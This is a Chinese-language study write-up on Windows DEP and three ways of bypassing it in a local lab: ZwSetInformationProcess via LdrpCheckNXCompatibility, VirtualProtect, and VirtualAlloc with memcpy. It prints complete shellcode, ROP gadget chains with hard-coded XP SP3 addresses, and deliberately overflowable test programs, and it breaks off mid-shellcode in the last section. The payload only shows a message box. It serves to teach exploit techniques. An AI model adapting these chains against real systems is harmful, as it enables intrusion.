启程

今宵酒醒何处?杨柳岸,晓风残月。

之前接触过Linux上的数据不可执行,即NX。现在来看一看Windows上的对应措施。

DEP机制的保护原理

DEP基本原理是将数据所在内存页标为不可执行,当溢出后程序尝试在数据页面执行命令时,CPU将抛出异常,从而转入异常处理。数据页包括默认的堆页、各种堆栈页和内存池页。

微软从XP SP2开始支持DEP。根据实现机制不同,分为Software DEP (SDEP)和Hardware-enforced DEP (HDEP)。

SDEP即SafeSEH,即软件模拟实现DEP。参考0day安全|11 亡羊补牢:SafeSEH中的SafeSEH检测流程可以发现,它会检查异常处理函数是否位于不可执行页上。

HDEP需要CPU支持。AMD称之为NX (No-Execute Page-Protection),Intel称之为XD (Execute Disable Bit),本质上两者是相同的。

操作系统通过设置内存页的NX/XD标记指明页不可执行。为此,需要在内存页表加入一个标识位(NX/XD),为0表示允许执行。

查看CPU是否支持硬件DEP的方法在0day安全|11 亡羊补牢:SafeSEH开头讲过。

上图说明CPU支持硬件DEP。

根据启动参数的不同(0day安全|11 亡羊补牢:SafeSEH开头有修改启动参数的讲解)硬件DEP工作状态分为四种:

  • Optin:仅将DEP应用于Windows系统组件和服务,对其他程序不予保护。但是用户可以通过应用程序兼容性工具(ACT)为选定的程序启用DEP,在Vista下经过/NXcompat选项编译的程序将自动应用DEP。这种模式可以被应用程序动态关闭,它多用于普通用户版操作系统
  • Optout:为除了选定程序(即上图中的第二个选项下面的列表)外的所有程序和服务启用DEP。这种模式可以被应用程序动态关闭,它多用于服务器版操作系统
  • AlwaysOn:对所有进程启用DEP,且不可被关闭。目前DEP只有在64位操作系统上才工作于此模式
  • AlwaysOff:对所有进程都禁用DEP,且不可以动态开启。这种模式只在特定场合使用

在VS 2005后,可以在编译程序时使用/NXcompat选项(默认启用):

/NXcompat的细节是:

编译后的二进制程序的PE头中被设置IMAGE_DLLCHARACTERISTICS_NX_COMPAT标识,具体为下图中IMAGE_OPTIONAL_HEADER结构体中右下方蓝色位置处:

DEP的局限性在于:

  • 较老的CPU不支持DEP
  • 由于兼容性原因,Windows不能对所有进程开启DEP,如一些第三方DLL。另外使用ATL 7.1 (即Active Template Library)及以前版本的程序需要在数据页上执行代码
  • 另外,/NXCOMPAT选项和IMAGE_DLLCHARACTERISTICS_NX_COMPAT只对Vista以上系统有效,在更早的系统中,它们会被忽略
  • 最后,当DEP工作于Optin和Optout时,它可以被动态关闭、开启。操作系统提供了某些API来达到这一目的,而早期操作系统对这些API没有限制,任何进程都可以调用

下面我们来突破DEP。

攻击未启用DEP的程序

DEP保护对象是进程级的,当某个进程的加载模块中只要有一个不支持DEP,这个进程就不能贸然开启DEP。即使在Win7上也有很多程序没有启用DEP,如下图:

这种情况就是基本的溢出攻击,不再详述。

利用Ret2Libc挑战DEP

Linux上也有ret2libc对抗NX的技术。本节来看一下Windows上该技术的具体实现。

作者一开始的描述让我以为他要介绍ROP,后来看,不是这样的。最初的思路是为shellcode中的每一条指令在可执行页上找到对应的替代指令,跳转到那里执行完后再ret回shellcode中的下一个地址,这种情况下的shellcode其实就是一个大的指令地址表。这样做有一些难于实现的部分:指令地址可能有\x00,同时栈帧较难布置。

这里的ret2libc流程大致如下:

于是引出了三种较为有效的绕过技术:

  1. 通过跳转到ZwSetInformationProcess函数将DEP关闭后再转入shellcode执行
  2. 通过跳转到VirtualProtect函数将shellcode所在内存页设置为可执行,再转入shellcode执行
  3. 通过跳转到VirtualAlloc开辟一段可执行的内存空间,将shellcode复制过去执行

这里有一个疑问:像Linux上的那种栈上压参数sh字符串然后跳转到system函数这样的操作,在Win上可不可以呢?比如压参数cmd.exe?(unsolved)

下面开始本地实验。以下实验都在关闭GS和SafeSEH、DEP设置为Optout、禁用优化、release版本、VC++6.0这些条件下进行。

Ret2Libc实战之利用ZwSetInformationProcess

一个进程的DEP标识保存在KPROCESS结构中的_KEXECUTE_OPTIONS_上,这个标识可以通过ZwQueryInformationProcess和ZwSetInformationProcess进行查询、修改。有些资料中将它们的前缀Zw替换成了Nt,在Ntdll.dll中它们是完全一样的。

KPROCESS结构如下:

typedef struct _KPROCESS
{
     DISPATCHER_HEADER Header;
     LIST_ENTRY ProfileListHead;
     ULONG DirectoryTableBase;
     ULONG Unused0;
     KGDTENTRY LdtDescriptor;
     KIDTENTRY Int21Descriptor;
     WORD IopmOffset;
     UCHAR Iopl;
     UCHAR Unused;
     ULONG ActiveProcessors;
     ULONG KernelTime;
     ULONG UserTime;
     LIST_ENTRY ReadyListHead;
     SINGLE_LIST_ENTRY SwapListEntry;
     PVOID VdmTrapcHandler;
     LIST_ENTRY ThreadListHead;
     ULONG ProcessLock;
     ULONG Affinity;
     union
     {
          ULONG AutoAlignment: 1;
          ULONG DisableBoost: 1;
          ULONG DisableQuantum: 1;
          ULONG ReservedFlags: 29;
          LONG ProcessFlags;
     };
     CHAR BasePriority;
     CHAR QuantumReset;
     UCHAR State;
     UCHAR ThreadSeed;
     UCHAR PowerState;
     UCHAR IdealNode;
     UCHAR Visited;
     union
     {
          KEXECUTE_OPTIONS Flags;
          UCHAR ExecuteOptions;
     };
     ULONG StackCount;
     LIST_ENTRY ProcessListEntry;
     UINT64 CycleTime;
} KPROCESS, *PKPROCESS;

_KEXECUTE_OPTIONS结构如下:

Pos0 ExecuteDisable :1bit // 进程DEP开启则置1
Pos1 ExecuteEnable :1bit // 进程DEP关闭则置1
Pos2 DisableThunkEmulation :1bit // 为了兼容ATL
Pos3 Permanent :1bit // 置1后这些标志不能再被修改
Pos4 ExecuteDispatchEnable :1bit
Pos5 ImageDispatchEnable :1bit
Pos6 Spare :2bit

如上,我们只需要将_KEXECUTE_OPTIONS设置为0x02即可关闭DEP。

再看ZwSetInformationProcess函数:

ZwSetInformationProcess(
  IN HANDLE ProcessHandle,
  IN PROCESS_INFORMATION_CLASS ProcessInformationClass,
  IN PVOID ProcessInformation,
  IN ULONG ProcessInformationLength
);

第一个参数进程句柄设置为-1表示当前进程,第三个参数用来设置_KEXECUTE_OPTIONS,第四个参数为第三个参数的长度。

Bypassing Windows Hardware-enforced Data Execution Prevention一文给出了关闭DEP的参数:

ULONG ExecuteFlags = MEM_EXECUTE_OPTION_ENABLE;
NtSetInformationProcess(
  NtCurrentProcess(),    // -1
  ProcessExecuteFlags,   // 0x22(ProcessExecuteFlags)
  &ExecuteFlags,         // pointer to 0x02
  sizeof(ExecuteFlags)); // 0x04

由于上述参数包含0x00,所以我们无法自己构造栈帧。幸好,系统中存在一处关闭DEP的调用。微软为了兼容性,若一个进程的Permanent位未设置,当它加载DLL时,系统会对DLL进行DEP兼容性检查,当存在兼容性问题时进程的DEP将被关闭。所以有一个函数LdrpCheckNXCompatibility,当符合以下条件之一时进程DEP将被关闭:

  • DLL受SafeDisc版权保护系统保护
  • DLL包含.aspcak/.pcle/.sforce等字节
  • Vista下当DLL包含在注册表HKEY_LOCAL_MACHINE\SOFTWARE \Microsoft\ Windows NT\CurrentVersion\Image File Execution Options\DllNXOptions键下边标识出不需要启动DEP的模块时

只要能模拟出其中一种情况,DEP将被关闭。下面我们尝试第一个条件:

首先看一下XP SP3下LdrpCheckNXCompatibility关闭DEP的流程:

在实验开始前,我想说说自己做完这个实验后的感受:整个漏洞利用过程真的太精致了!它仿佛一件艺术品。多一分少一分都不行,看似绝境却能绝境逢生,看似不起眼的安排在后面会起到大用处,看似巧合其中却隐藏着必然。

下面请欣赏exploit的表演。

测试代码:

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>

char shellcode[]=
"\x90..."
;

void test()
{
	char tt[176];
	strcpy(tt,shellcode);
}

int main()
{
	HINSTANCE hInst = LoadLibrary("shell32.dll");
	char temp[200];
	test();
    return 0;
}

溢出点很明显。思路也很明确:首先将控制流劫持到函数LdrpCheckNXCompatibility关闭DEP,然后返回到shellcode执行。

代码中加载shell32.dll是为了引入后面调整EBP需要用到的gadget。后面会讲到。

在本地环境中通过OllyFindAddr寻找上图中红色部分的指令段地址,发现也是0x7C93CD24

那么,我们可以在shellcode中先跳转到一个将al设置为1的指令处,之后再转到0x7C93CD24执行。

这段指令结束后有一个ret 4,从而为继续转入shellcode执行提供了可能性。

插件也顺带找到了将al变为1并ret的gadget,例如:

很方便!

至此,我们的shellcode如下:

char shellcode[]=
// 168	messagebox
...
// 12	nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// 4	mov eax, 1, ret
"\x52\xE2\x92\x7C"
// 4	turn off DEP
"\x24\xCD\x93\x7C"

我们在关闭DEP流程的最后retn 0x4处下断点:

然后运行,却出现了异常:

这是因为在关闭DEP的流程中有一处je 7C95F70E,而那个地方的指令是向EBP - 4处写入数据(这里写入的数据很重要,是后面调用ZwSetInformationProcess关闭DEP的关键参数):

然而EBP已经被我们覆盖为0x90909090,这时的EBP - 4是不可以写入的。

所以在转入0x7C93CD24前需要把EBP指向一个可以写入的位置。

从前面的OllyFindAddr结果中的Step3可以找到类似于push esp; pop ebp; ret的指令段:

需要注意溢出后的寄存器状态:

只有ESP指向的位置是可写入的。所以我们挑选一个push esp的,这里选择0x5d1d8b85处的gadget。

此时shellcode变为:

char shellcode[]=
// 168	messagebox
...
// 12	nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// 4	mov eax, 1, ret
"\x52\xE2\x92\x7C"
// 4	modify ebp
"\x85\x8b\x1d\x5d"
// 4	turn off DEP
"\x24\xCD\x93\x7C"

编译后用OD加载,运行到即将调用ZwSetInformationProcess时:

发现栈上ebp - 4处的参数被覆盖为0x22(上图中左下方数据区紫色部分)。

幸好,根据开头讲到的_KEXECUTE_OPTIONS结构得知DEP只和其结构中前4位有关,而0x220x2的低四位是一样的。所以0x22也可以用于关闭DEP。

继续调试到LdrpCheckNXCompatibility返回处,没有意外,DEP成功关闭。但是我们失去了程序的控制权:

可以看到,在返回时ESP指向的地方是0x00000004,也就是说,在前面调用ZwSetInformationProcess时压参数压入的0x4刚好被压在后面的返回地址处。我们之前无论在这个地方放什么返回地址,都会被覆盖掉。究其原因,是我们在前面调整ebp到可写位置时,将其调整为与esp一致,这就导致后续的压栈出栈操作都在ebp附近进行,最后LdrpCheckNXCompatibility返回时的leave又把esp调整回ebp。

一般来说,当ESP小于EBP时,防止入栈破坏当前栈内内容的调整方法不外乎减小ESP和增大EBP,由于本次实验中我们的shellcode位于内存低址,所以减小ESP可能会破坏shellcode,而增大EBP的指令在本次实验中竟然找不到。一个变通的方法是增大ESP到一个安全的位置,让EBP与ESP之间的空间足够大。
我们可以使用带有偏移量的RETN指令来达到增大ESP的目的。

接着作者用前面提到的插件搜索了POP RETN+N相关指令,他的搜索结果如下:

在搜索结果中选取指令时只有一个条件:不能对ESP和EBP有直接操作。否则我们会失去对程序的控制权。

我这里却搜不到任何结果!但是幸好我的环境和他的比较相似,他选择的地址在我这里也同样有效:

后来,我读别人的文章时想到,我何必一定要搜索带pop的?反正后边也用不到pop,那么直接在搜索时将pop的数量设置为0就好了。这样一来,搜索出了很多gadget:

此时shellcode如下:

char shellcode[]=
// 168	messagebox
...
// 12	nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// 4	mov eax, 1, ret
"\x52\xE2\x92\x7C"
// 4	modify ebp
"\x85\x8b\x1d\x5d"
// 4	add esp
"\x19\x4a\x97\x7c"
// 4    nop
"\x90\x90\x90\x90"
// 4	turn off DEP
"\x24\xCD\x93\x7C"

注意其中的4个nop,这是由于modify ebp的返回指令为retn 4,其导致ESP在返回后多加4,所以我们也要把关闭DEP的指针后移。

接着我们重新调试,运行到关闭DEP返回前:

可以发现我们布置的4个nop刚好是函数将要返回的地址所在处,且没有被覆盖掉。我们考虑把这里替换为一条jmp esp跳板,然后在关闭DEP的4个字节后面紧跟着一个长跳指令(再次提醒,关闭DEP部分的返回是retn 4,所以在jmp esp后ESP会多加4,从而越过关闭DEP指针,直接跳到后面的长跳指令上)。

跳板有一大堆:

可以计算出shellcode起始位置距长跳指令起始位置有200字节,而长跳指令长5个字节,所以长跳指令要往前跳205个字节。

最终shellcode:

char shellcode[]=
// 168	messagebox
"\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
"\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
"\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
"\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
"\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
"\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
"\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
"\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
"\x53\x68\x2d\x6a\x6f\x62\x68\x67\x6f\x6f\x64\x8b\xc4\x53\x50\x50"
"\x53\xff\x57\xfc\x53\xff\x57\xf8"
// 12	nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// 4	mov eax, 1, ret
"\x52\xE2\x92\x7C"
// 4	modify ebp
"\x85\x8b\x1d\x5d"
// 4	add esp
"\x19\x4a\x97\x7c"
//"\x90\x90\x90\x90"
// 4	jmp esp
"\xb4\xc1\xc5\x7d"
// 4	turn off DEP
"\x24\xCD\x93\x7C"
// 5 long jmp
"\xe9\x33\xff\xff\xff"
// 3 nop
"\x90\x90\x90"
;

下图是整个漏洞利用过程的说明:

上方的ebp代表在set ebp后ebp寄存器指向的位置。正因如此,后面关闭DEP后有一个leave指令(左下方最下面的截图),这个指令才能够通过mov esp, ebp; pop ebp来将esp恢复到我们的jmp ESP跳板处。

另外需要注意的是,其中第三步完成后与第四步之间隔了一个ptr jmp ESP,这正是由于左下方第二个截图中retn 0x4使得返回后esp被多加4,这时add espretn 0x28在返回时就会直接跳过ptr jmp ESP,返回到关闭DEP的指针那里。

当然,我们可以看到在左下方最后的截图中leave后面也是retn 0x4,这里同理,esp被多加了4,所以才能在jmp esp后直接转去长跳指令执行。

测试:

由于我们的shellcode中并未使用任何绝对的运行时地址,如栈上缓冲区的首地址等,而所有的库函数加载地址是一致的,所以同样的shellcode既可以在OD中生效,也可以通过直接运行程序生效:

直接:

OD加载:

在Windows 2003 SP2以后对LdrpCheckNXCompatibility进行了少许修改,对我们影响最大的是该函数在执行过程中会对ESI指向的内存附近进行操作。所以要保证ESI指向可写位置。

调整方法与调整EBP类似,采用push esp; pop esi; retn。可以借助前述插件搜索相关gadget。如果不好找,可以采用如下方式变通:

  • 找到pop eax retn指令,转入执行
  • 找到pop esi retn指令,保证上面的指令执行时本段指令地址位于栈顶,从而在上面的指令执行后,本段指令地址被放入eax
  • 找到push esp jmp eax转入执行

shellcode后半部分大致如下:

具体细节不再展开。

Ret2Libc实战之利用VirtualProtect

某些程序本身就需要偶尔从堆栈中取指令。为了兼容性,微软提供了修改内存属性的函数VirtualProtect,其位于kernel32.dll中。函数原型如下:

BOOL WINAPI VirtualProtect(
  _In_  LPVOID lpAddress, // 要修改属性的内存起始地址(shellcode起始地址)
  _In_  SIZE_T dwSize, // 内存大小(比shellcode长度大就好)
  _In_  DWORD  flNewProtect, // 新的属性值,设置为PAGE_EXECUTE_READWRITE(0x40)时即可执行
  _Out_ PDWORD lpflOldProtect // 旧属性的保存地址(需要一个可写地址)
);
// 成功执行则返回非0,否则返回0

我们的思路就是在栈上构造这个函数需要的参数对,然后调用它使得shellcode可执行,然后转入shellcode执行。

需要注意的是,参数中包含\x00,所以这种攻击方式对那些尾零截断的函数无效。本次我们将上节实验的strcpy替换为memcpy

测试代码:

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>

char shellcode[]=
"\x90..."
;

void test()
{
	char tt[176];
	memcpy(tt,shellcode, 450);
}

int main()
{
	HINSTANCE hInst = LoadLibrary("shell32.dll");
	char temp[200];
	test();
    return 0;
}

在做上一个实验时,我惊叹于那种exploit操作的精密。然而和本节实验相比,还是小巫见大巫了。不多说,欣赏吧。

书上作者使用的环境是2003,所以我们必须自己确定XP SP3上的VirtualProtect函数地址。参考0day安全DEP绕过实验(上),可以在VS2008命令提示符中用如下方法查询:

dumpbin /exports C:\Windows\System32\kernel32.dll

加上基址后在OD中定位:

为了不影响EBP和ESP,我们未来调用这个函数时直接跳转到上图中选中部分的地址就好。我们也可以看到,这个函数其实只是个wrapper,它真正调用的是Ex后缀的那个,当然,这是题外话。

从上图中我们也可以看出该函数对参数的操作:都是基于EBP去定位的。其中ebp + 0x10处放置0x40ebp + 0xc处我们放一个0xff,大小够用就好。这两个都是可以直接写在shellcode里的。而另外两个参数则需要动态确定。我们需要保证的是:

  • address应该是栈上我们可以控制的地址
  • oldprotect参数应该是一个可写的地址

上面这两个问题正是此次构造shellcode的精华所在。

解决address

由于EBP在溢出过程中被破坏,我们首先要修复EBP,方法同上一节,利用push esp; pop ebp; ret

此时shellcode如下:

char shellcode[]=
// 180	nop
...
// 4	modify ebp
"\x85\x8b\x1d\x5d"

编译后调试。到了下图中这个地方:

那么一句retn 4就会让ESP加8,也就是比EBP大8。如果我们能够在返回后把ESP指向的地方(即ebp+8)放一个我们能够控制的地址作为address参数该多好!我们采用上节最后提到的技巧:再把esp加4(借助一条retn就好),让它比ebp大12,然后借助push esp jmp eax把此时的esp作为address参数压到栈上。

那么怎么找push esp jmp eax呢?先汇编转机器码,然后利用前述插件自定义搜索:

OK。找到push esp jmp eax后,我们布局此时的shellcode:

char shellcode[]=
// 180	nop
...
// 4	modify ebp
"\x85\x8b\x1d\x5d"
// 4	retn
"\x57\xe2\x92\x7c"
// 4	nop
"\x90\x90\x90\x90"
// 4	push esp jmp eax
"\xc6\xc6\xeb\x77"

编译后调试:

没有问题。此时可以看到,在ebp+8的地方是0x0012FEB4,正是不远处的栈地址。

解决oldprotect

如法炮制,如果我们能够让ESP指向ebp+0x18,那么再用一次push esp jmp eax就可以把oldprotect参数放在ebp+0x14了(毕竟,栈总是可写的)。此时ESP指针比EBP大8,那么我们需要让ESP增大0x18 - 0x8 = 0x10。这里我们采用ROP中常用的gadget:pop pop pop ret(后文称PPPR)。目前即将执行的指令是jmp eax,那么我们可以找到一个PPPR,然后把其地址预先放入eax即可。PPPR用前述插件可以搜索到很多,我们挑选一个在可执行页上的、不影响ESP、EBP、EAX三个寄存器的gadget就好。找到后如何把它的地址预先放入eax?

依然是上节最后的技巧:采用pop eax retn即可(需要保证pop eax时PPPR地址在栈顶)。这样的gadget也很好找。

注意:一开始我在找pop eax retn时找到了shell.dll.data区的gadget,然而整个进程都有DEP,所以一调试就会蹦出异常。由于DEP的存在,我们的gadget必须从可执行页寻找,否则这些gadget也无法执行。同理,后面的jmp esp选择也是一样。在上一节实验中,由于我们后来已经完全关闭了整个进程的DEP,所以跳板的位置无所谓。而这里我们仅仅使得栈上的一段区域可执行,别的模块的数据区域依然是不可执行的。

后面在找jmp esp时遇到了一个小问题:我想在别的模块的代码段找jmp esp,可是由于shell.dll.data段等不可执行段的jmp esp太多了,以至于OD的日志只显示得出这些gadget,所以我没法借助前述插件找到可用的jmp esp。于是尝试自己在OD中ctrl + b搜索jmp esp的二进制。为了提高准确率,我先在反汇编窗口转到shell.dll代码段的开头,然后搜索:

这样很容易就找到了。

言归正传。现在我们的shellcode如下:

char shellcode[]=
// 180	nop
...
// 4	pop eax retn
"\x26\xb8\x6e\x7d"
// 4	pop edi pop esi pop ebx retn
"\x64\xa2\x5d\x7d"
// 4	modify ebp
"\x85\x8b\x1d\x5d"
// 4	retn
"\x57\xe2\x92\x7c"
// 4	nop
"\x90\x90\x90\x90"
// 4	push esp jmp eax
"\xc6\xc6\xeb\x77"

我们在其后紧跟上ebp + 0xC的Size和ebp + 0x10的NewProtect两个固定参数,然后是一个push esp jmp eax把oldprotect参数放在ebp+0x14。由于eax没有变,所以jmp后又是一遍PPPR。此时修改内存属性的参数已经布置完毕,这个最后的retn我们让它跳到期待已久的VirtualProtect函数中去。此时shellcode如下:

char shellcode[]=
// 180	nop
...
// 4	pop eax retn
"\x26\xb8\x6e\x7d"
// 4	pop edi pop esi pop ebx retn
"\x64\xa2\x5d\x7d"
// 4	modify ebp
"\x85\x8b\x1d\x5d"
// 4	retn
"\x57\xe2\x92\x7c"
// 4	nop
"\x90\x90\x90\x90"
// 4	push esp jmp eax
"\xc6\xc6\xeb\x77"
// 4	argument for VirtualProtect: Size
"\xFF\x00\x00\x00"
// 4	argument for VirtualProtect: NewProtect
"\x40\x00\x00\x00"
// 4	push esp jmp eax
"\xc6\xc6\xeb\x77"
// 8	nop
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
// 4	change attribute of mem
"\xd9\x1a\x80\x7c"

编译并调试:

完美!再往后,就是进入到VirtualProtect函数执行。我们看一下进入这个函数后它的操作(注意看右下方栈区):

注意,VirtualProtect的最后是pop ebp retn 0x10。因此,我们最后的思路是:先放4个nop抵消pop ebp的影响,然后放一个jmp esp的跳板。接着放16或20个nop去抵消retn 0x10造成的影响,再后面放弹窗shellcode。最终shellcode如下:

char shellcode[]=
// 180	nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
// 4	pop eax retn
"\x26\xb8\x6e\x7d"
// 4	pop edi pop esi pop ebx retn
"\x64\xa2\x5d\x7d"
// 4	modify ebp
"\x85\x8b\x1d\x5d"
// 4	retn
"\x57\xe2\x92\x7c"
// 4	nop
"\x90\x90\x90\x90"
// 4	push esp jmp eax
"\xc6\xc6\xeb\x77"
// 4	argument for VirtualProtect: Size
"\xFF\x00\x00\x00"
// 4	argument for VirtualProtect: NewProtect
"\x40\x00\x00\x00"
// 4	push esp jmp eax
"\xc6\xc6\xeb\x77"
// 8	nop
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
// 4	change attribute of mem
"\xd9\x1a\x80\x7c"
// 4	nop
"\x90\x90\x90\x90"
// 4	jmp esp
"\xd7\x30\x5a\x7d"
// 20	nop
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
// 168	messagebox
"\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
"\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
"\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
"\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
"\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
"\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
"\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
"\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
"\x53\x68\x2d\x6a\x6f\x62\x68\x67\x6f\x6f\x64\x8b\xc4\x53\x50\x50"
"\x53\xff\x57\xfc\x53\xff\x57\xf8"
;

下图是整个漏洞利用过程的示意图:

下图是转入VirtualProtect前的栈上示意图:

测试:

Ret2Libc实战之利用VirtualAlloc

除了VirtualProtect,微软还提供了VirtualAlloc去解决DEP对特殊程序的影响。

其原型为:

LPVOID WINAPI VirtualAlloc(
  _In_opt_ LPVOID lpAddress, // 申请的地址,
                             // 为NULL则系统自动分配并按64KB向上取整
  _In_     SIZE_T dwSize, // 申请大小
  _In_     DWORD  flAllocationType, // 申请类型
  _In_     DWORD  flProtect // 设置读写可执行权限
);
// 成功则返回申请到的内存其实地址,否则返回NULL

我们的利用思路也很明确:先用VirtualAlloc申请一段可执行空间,然后用memcpy将shellcode复制过去,执行。

测试代码:

#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <windows.h>

char shellcode[]=
"\x90..."
;

void test()
{
	char tt[176];
	memcpy(tt,shellcode, 450);
}

int main()
{
	HINSTANCE hInst = LoadLibrary("shell32.dll");
	char temp[200];
	test();
    return 0;
}

利用上一节的方法,我们找到VirtualAlloc的地址:

可以看到它的参数调用方式与VirtualProtect一样,且它的参数不需要动态确定,可以直接写在shellcode中。所以,我们直接跳转到0x7C809AF4去执行Ex函数,不要前边的部分了。

首先明确一下我们各参数的值:

lpAddress = 0x00030000; // 只要选择一个未被占用的地址即可
dwSize = 0xFF; // 够用
flAllocationType = 0x00001000; // 参考MSDN
flProtect = 0x00000040; // 可读可写可执行,参考MSDN

由于EBP被溢出破坏,所以一开始还是修复EBP。目前shellcode如下:

char shellcode[]=
// 180	nop
...
// 4	modify ebp
"\x85\x8b\x1d\x5d"
// 4	call VirtualAllocEx
"\xf4\x9a\x80\x7c"
// 4	nop
"\x90\x90\x90\x90"
// 4	-1 (current process)
"\xff\xff\xff\xff"
// 4	lpAddress
"\x00\x00\x03\x00"
// 4	dwSize
"\xff\x00\x00\x00"
// 4	flAllocationType
"\x00\x10\x00\x00"
// 4	flProtect
"\x40\x00\x00\x00"
;

编译调试,成功申请到内存(注意下图右侧寄存器EAX正是0x00030000):

我们也可以在OD中查看内存映射:

是可执行的!

接下来就是memcpy。它位于ntdll.dll中,我们看一下:

void *memcpy(  
   void *dest,  
   const void *src,  
   size_t count   
);  

该函数的返回处离起始部分稍微有些远:

明确一下各参数:目的地址和复制长度都是固定的,可以直接写死在shellcode中,对于源地址,我们可以采用push esp jmp eax技巧去填充这个参数。至于jmp eax,我们需要到后面才能确定eax应该放什么gadget的地址。

需要注意的是,在成功申请内存后,EBP被设置为0,而我们后面依然需要用到EBP,所以要再次修复EBP;另外,要用适当的nop去抵消VirtualAlloc返回时的pop ebp retn 0x10影响。

此时shellcode如下:

char shellcode[]=
// 180	nop
...
// 4	modify ebp
"\x85\x8b\x1d\x5d"
// 4	call VirtualAllocEx
"\xf4\x9a\x80\x7c"
// 4	nop
"\x90\x90\x90\x90"
// 4	-1 (current process)
"\xff\xff\xff\xff"
// 4	lpAddress
"\x00\x00\x03\x00"
// 4	dwSize
"\xff\x00\x00\x00"
// 4	flAllocationType
"\x00\x10\x00\x00"
// 4	flProtect
"\x40\x00\x00\x00"
// 4	nop
"\x90\x90\x90\x90"
// 4	pop eax retn
"\x26\xb8\x6e\x7d"
// 16	nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// 4	nop (eax point to)
"\x90\x90\x90\x90"
// 4	modify ebp
"\x85\x8b\x1d\x5d"

我们知道,在modify ebp返回后esp比ebp大8,而memcpy需要源地址参数位于ebp + 0xc的位置。我们希望借助push esp jmp eax去填src,就需要esp = ebp + 0x10。也就是说在modify ebp后还需要一个pop retn来调整esp。

另外,memcpy需要的距离最远的参数是size,为ebp + 0x10,那么我们希望能够在紧接着的位置ebp + 0x14就转入memcpy执行。结合这些信息,我们确定之前在pop eax retn时栈顶应该放着一个pop pop retn。此时shellcode如下:

char shellcode[]=
// 180	nop
...
"\x90\x90\x90\x90"
// 4	modify ebp
"\x85\x8b\x1d\x5d"
// 4	call VirtualAllocEx
"\xf4\x9a\x80\x7c"
// 4	nop
"\x90\x90\x90\x90"
// 4	-1 (current process)
"\xff\xff\xff\xff"
// 4	lpAddress
"\x00\x00\x03\x00"
// 4	dwSize
"\xff\x00\x00\x00"
// 4	flAllocationType
"\x00\x10\x00\x00"
// 4	flProtect
"\x40\x00\x00\x00"
// 4	nop
"\x90\x90\x90\x90"
// 4	pop eax retn
"\x26\xb8\x6e\x7d"
// 16	nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// 4	pop ecx pop ecx retn
"\xf4\x1e\xbf\x77"
// 4	modify ebp
"\x85\x8b\x1d\x5d"
// 4	pop ecx retn
"\xa0\x6f\x5f\x7d" // <-- ebp
// 4	nop
"\x90\x90\x90\x90"
// 4	*dest
"\x00\x00\x03\x00" // <-- ebp+0x8
// 4	push esp jmp eax (*src)
